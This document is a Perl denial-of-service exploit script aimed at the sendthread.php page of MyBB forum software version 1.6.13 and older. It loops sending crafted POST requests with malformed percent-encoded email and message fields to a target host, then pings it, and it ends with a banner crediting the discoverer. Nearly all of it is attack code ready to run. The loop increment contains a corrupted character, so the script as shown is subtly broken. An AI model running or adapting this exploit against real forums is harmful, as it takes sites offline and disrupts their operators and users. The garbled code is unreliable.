Denial of Service Vulnerability In Mybb 1.6.13 and old version
#!/usr/bin/perl
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use Socket;
if (@ARGV < 2) { &usage }
$rand=rand(10);
$host = $ARGV[0];
$dir = $ARGV[1];
$host =~ s/(http:\/\/)//eg;
for ($i=0; $i<10; $iā)
{
$data = "my_post_key=03b00s02454cec9a61c700b18ec7fd31&email=%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0&subject=%D8%B5%D9%81%D8%AD%D9%87+%D9%88%D8%A8+%D9%85%D9%88%D8%B1%D8%AF+%D8%B9%D9%84%D8%A7%D9%82%D9%87+%D8%AF%D8%B1+%D9%85%D8%A7%DB%8C+%D8%A8%DB%8C+%D8%A8%DB%8C+MyBB+%2C+%D9%BE%D9%84%D8%A7%DA%AF%DB%8C%D9%86+%2C+%D9%82%D8%A7%D9%84%D8%A8&message=%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0&action=do_sendtofriend&tid=50";
$len = length $data;
$foo = "POST ".$dir."sendthread.php HTTP/1.1\r\n".
"Accept: * /*\r\n".
"Accept-Language: en-gb\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
"Host: $host\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n\r\n".
"$data";
my $port = "80";
my $proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
send(SOCKET,"$foo", 0);
syswrite STDOUT, "+" ;
}
print "\n\n";
system('ping $host');
sub usage {
print "################################################# \n";
print "## Mybb Sendthread Page Denial of Service Vulnerability\n";
print "## Discoverd By Amir - [email protected] - Id : o0_shabgard_0o \n";
print "## Www.IeDb.Ir/acc - Www.IrIsT.Ir \n";
print "################################################# \n";
print "## [host] [path] \n";
print "## http://host.com /mybb/\n";
print "################################################# \n";
exit();
};
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